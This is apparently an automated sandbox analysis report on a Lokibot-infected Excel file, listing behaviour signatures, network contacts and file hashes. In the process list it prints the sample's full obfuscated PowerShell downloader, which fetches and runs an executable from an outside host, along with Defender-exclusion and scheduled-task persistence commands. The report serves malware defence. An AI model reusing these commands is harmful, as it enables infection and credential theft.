Analysis Overview
SHA256
c1b87e35d9bcc37980e406e3c9aa910aed0dde54f90ffbd521291c80b230b3f3
Threat Level: Known bad
The file PaymentAdvice.xls was found to be: Known bad.
Malicious Activity Summary
Lokibot family
Process spawned unexpected child process
Lokibot
Command and Scripting Interpreter: PowerShell
Evasion via Device Credential Deployment
Downloads MZ/PE file
Blocklisted process makes network request
Reads user/profile data of web browsers
Executes dropped EXE
Loads dropped DLL
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
Drops file in System32 directory
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Suspicious use of SetWindowsHookEx
Checks processor information in registry
Suspicious behavior: AddClipboardFormatListener
Uses Volume Shadow Copy service COM API
Scheduled Task/Job: Scheduled Task
Enumerates system info in registry
Uses Volume Shadow Copy WMI provider
outlook_win_path
Uses Task Scheduler COM API
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
outlook_office_path
Suspicious use of AdjustPrivilegeToken
Modifies Internet Explorer settings
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-18 17:38
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-18 17:38
Reported
2024-11-18 17:41
Platform
win7-20241023-en
Max time kernel
130s
Max time network
141s
Command Line
Signatures
Lokibot
Lokibot family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1960 set thread context of 1360 | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | C:\Users\Admin\AppData\Roaming\caspol.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PaymentAdvice.xls
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
"C:\Windows\SysTEm32\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE" "PoWErShELl.EXe -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt ; iNvoke-eXPrEssion($(iNvoKe-ExprESsiOn('[syStEm.TExT.eNCOdING]'+[cHAR]58+[CHar]58+'Utf8.gEtsTrING([SySTeM.CoNVERt]'+[char]58+[Char]58+'fromBAse64StrIng('+[char]34+'JEtQeWw1UEl4REFxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlUmRlRklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVwR2NKekppUyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdtRWZCcVZKd2IsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT2hlbmlXY0dJKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWNLZGFobmZjYSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRXNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1dTdUFVSGV4bSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkS1B5bDVQSXhEQXE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzM2L2Nhc3BvbC5leGUiLCIkZW5WOkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzdGFSVC1TbGVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHAr]0x22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dgmuiruf.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF548.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF547.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\bdWEysRwjYwmy.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bdWEysRwjYwmy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp7C51.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | link.uebie.de | udp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.135.105:80 | e6.o.lencr.org | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| GB | 95.100.245.144:80 | www.microsoft.com | tcp |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp |
Files
memory/1484-1-0x000000007295D000-0x0000000072968000-memory.dmp
memory/1484-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2944-16-0x00000000025E0000-0x00000000025E2000-memory.dmp
memory/1484-17-0x0000000002400000-0x0000000002402000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
| MD5 | 822467b728b7a66b081c91795373789a |
| SHA1 | d8f2f02e1eef62485a9feffd59ce837511749865 |
| SHA256 | af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9 |
| SHA512 | bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B
| MD5 | dfe9d40108cd6499968560d0319998c6 |
| SHA1 | 6b79281f7efec1b9fb942e6e0cd3eb5e9f776e73 |
| SHA256 | 1dc7e4150fff57a7423b4d0ebeb3a5f966593b4dad4b803840f6c4a2f814951e |
| SHA512 | 5d4d685a5f15372d4ae8fdc08ab92d2f2f173f586b58315d35a62318f71b9fce7f84b4501f50024e95225a53856ab8170bcf1adf8805eaddb392250082c9ff56 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B
| MD5 | dddd2a95c291e7aa1a85553d44d7ec09 |
| SHA1 | 2e84eb1cf96858ada422fc5ea52112ee278c32df |
| SHA256 | 5abebe2c9390de50275d12bd33eb9e93cfe65dac90c5585fa928832ca89fda82 |
| SHA512 | a1e42c0531c975506872ac45a0ff2ac7dc8e39459d358ea1f7771c7753b2ade384a1a1d66f26c93524432b6da9aaa03c85a5ee434685a952bb65a3c657a03926 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
| MD5 | 6c0d78bad0ad31a8cdc648bc3db326fc |
| SHA1 | 03d83efcbe4cdd21fe3448a8a446b360a6e2d498 |
| SHA256 | c31ca02b84bba23b19105cd86dbe8c082fa570169036349a43f32b981f16a122 |
| SHA512 | 2a5ff5a52db7ae28b42e4951714554c413708930ce92b9ac573182bdc644be85a63f1470457f375e1f997d812c165c8a4adeecce8c2756933f7fe80c611d1398 |
C:\Users\Admin\AppData\Local\Temp\CabE7EF.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9GP4P3HF\seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe[1].hta
| MD5 | 9427d6b1cf4e282f2140587823409691 |
| SHA1 | 059037ad5c4c6054bdcd163cb1969a84cc1813e9 |
| SHA256 | a9cc9394d9450742c8f2b9b9c9ab7b94fda208cd6977458521554121a49f45d1 |
| SHA512 | a394958ceb3d1594328c1c7d091f295080b1fa93a787aec87456b1438559003e68e1c0e38eee6d5779a4227a0413393f90a587129d8c44d42467e0b3c2382ab2 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | 5770fc06f566c7ae4bb95e32d5024368 |
| SHA1 | 7ae8017d4d67c20c39f01ba1a4a68cb6e6bcdcdf |
| SHA256 | bbe1e561719071b355021f3a7ebb1064c81e4abca3f4342425861cb21ed51867 |
| SHA512 | 906d1375ef198faa831dadcaf9594f6943cae0fcf5d773b7970c2338eed6783bd62e968e346fe45da6225d70b4dc124c2186f4e7e75243da2192ad77c375bdd5 |
\??\c:\Users\Admin\AppData\Local\Temp\dgmuiruf.cmdline
| MD5 | 17cbdbcdc8ef7275d92aac76d91ad187 |
| SHA1 | e965d046d7ff8d9671e866b8d353ac03e445a2d9 |
| SHA256 | 80b7c6626d710a5d560d1b1a68bfdb8a8c7fa92a581a650452bd7ddb780a42fe |
| SHA512 | b16c9dc3542ccb8cd2e07f106dde9721d56f080e120c1a6b1e60c069ff5934dd05364eb8291315bca3cf2833c30be8dceefa9e5d4665c0d466d72e4abac57b68 |
\??\c:\Users\Admin\AppData\Local\Temp\dgmuiruf.0.cs
| MD5 | ee60617752b2061187e3773f962ff810 |
| SHA1 | 5d3dc400820671b51499e9003fcbd7794d07e315 |
| SHA256 | 69736289404f9f61bb67a99a24945aaa347591458b09f4dd686bbc58d8b25ce9 |
| SHA512 | 5bf701c77b31bcf3421fa2cc4649127b54656175bdfb238ddca8606063ceec69fd76d2f611b5f55f246a3003d3fd76b1b318fa0fc4cb1b10d9b8b04e153bf231 |
\??\c:\Users\Admin\AppData\Local\Temp\CSCF547.tmp
| MD5 | d8876fa1bcf5b62a341c35e06229190e |
| SHA1 | 0a9c2a41b1d621b23e78f9579f42f6e47b4a2f82 |
| SHA256 | eef86f90d16fb86b86a96af7c61166167209611556614d419a7525583cd94508 |
| SHA512 | fd25b15d6bfbecbe4e3edb5921012cdb4cf6641228f96bd985df307339911a4b9294fdc08fa36e4db3934338469bbc5bbbcf9bb3b3ee2799d63ea5a28ae6bc06 |
C:\Users\Admin\AppData\Local\Temp\RESF548.tmp
| MD5 | e47593c08b1da91880d301b266e995e1 |
| SHA1 | dc83f06b278c4425e9fca927542a292123c60433 |
| SHA256 | be1f43bff13fe54dfebd7735de4142dd4876cd26ac2045d211bbd763b24c8089 |
| SHA512 | f62e9f99c1781cd7e0340e78ca068d3e0b0f61f6c3bcee8c7843cf6e042d4638f9d7a6e1f9e9133977f3be966537055b517de4b3e67d914ad80a9cabcd1baa27 |
C:\Users\Admin\AppData\Local\Temp\dgmuiruf.dll
| MD5 | 02556bd8159a9df25d46609f7d13a7f6 |
| SHA1 | 3bc4db7d2ea82d478c8f0215016e736ae4a045c5 |
| SHA256 | 3e8afbc7c6730817346b2da47504c1467362e3541c159d815e09fda7970708a5 |
| SHA512 | 163eedc251e9f6f748bd0c6cb030a78bb5d117b7a3c3905480f087f68c1eec707c1bad4d0e4e9333b047d384f862c7b4685070c449c558863e646dfaed5443fc |
C:\Users\Admin\AppData\Local\Temp\dgmuiruf.pdb
| MD5 | f74e18a16cddbbcbf01e3b5158e3ea27 |
| SHA1 | b7c29197cfe9c4339c13c8ce3f41a64e1260a8ea |
| SHA256 | 2488ae920ecab97eaa9c15cb99c4e19a19374a16adfc5a0e8fbf91e44ba90dfa |
| SHA512 | dd39c7f4c53cf834f5dacf2660f71fac5649b6135e0bb4d77ea7363b070556b22a407fe60ede434d91fd7d091333faa94a1f2fd35777fffd1fd21030a2b836b4 |
memory/1484-56-0x000000007295D000-0x0000000072968000-memory.dmp
C:\Users\Admin\AppData\Roaming\caspol.exe
| MD5 | 8c34e99269d4121a0dfe4c3eaa9e269f |
| SHA1 | 5bbaa7dc726324e057eb4f78856c368488c4805a |
| SHA256 | 2899cb71414f7d46a6be0d40a5ba017d407a41f291154ea6a86f421754d11a76 |
| SHA512 | 99f3cc287b9437ee888371fac3cf37d77d39c9468086feb0c80f4a0a4cc8a750c0b2798ec32a90aea3c88ed67c36005bcfd81d8e439edcdaca9e60caa1f3f277 |
memory/1960-70-0x0000000000DD0000-0x0000000000E52000-memory.dmp
memory/1960-71-0x0000000000310000-0x0000000000322000-memory.dmp
memory/1960-72-0x0000000000D70000-0x0000000000DD4000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | 943c6b357ff29264c66f62e0fb322ad7 |
| SHA1 | 3ea9a57a7fa7e3c2a7c9d695538b031b1f9fdbdc |
| SHA256 | 2c2a3044cb8c2b52d4aeed789db11b02884b0b65e6f3d1098ac71f7c521bfbfa |
| SHA512 | b868ba0a6a493d5423e1dbb6e7836d577eaa5c763f92101bdf0d2587e4a353d8a5a669e1bbc50c10201d98d228ac3af0e917159c12fe1c8746b8530f53123835 |
C:\Users\Admin\AppData\Local\Temp\tmp7C51.tmp
| MD5 | 1daa231e21fac534b5ca7ebcf1dd84eb |
| SHA1 | 4228414c36c49c9c15d823ac8ef842b02c61e619 |
| SHA256 | 25250d0dcea1c7cf95a115d5f7dd1ffb23f5289be656f1e37f8f4a48bab4f93b |
| SHA512 | 80ae47221a8ff3d28d0ebd7229b5d11fff0d7c4ca23537d57d9b99c89235f8461f3bf9e720907efc5af629f002977dbe4f5bb53913a60b831f91691207cadc76 |
memory/1360-88-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1360-90-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1360-99-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1360-101-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1360-98-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1360-96-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1360-94-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1360-92-0x0000000000400000-0x00000000004A2000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1163522206-1469769407-485553996-1000\0f5007522459c86e95ffcc62f32308f1_9d81b961-0275-4281-8321-63119951606b
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1163522206-1469769407-485553996-1000\0f5007522459c86e95ffcc62f32308f1_9d81b961-0275-4281-8321-63119951606b
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-18 17:38
Reported
2024-11-18 17:41
Platform
win10v2004-20241007-en
Max time kernel
145s
Max time network
147s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1244 wrote to memory of 3980 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 1244 wrote to memory of 3980 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PaymentAdvice.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
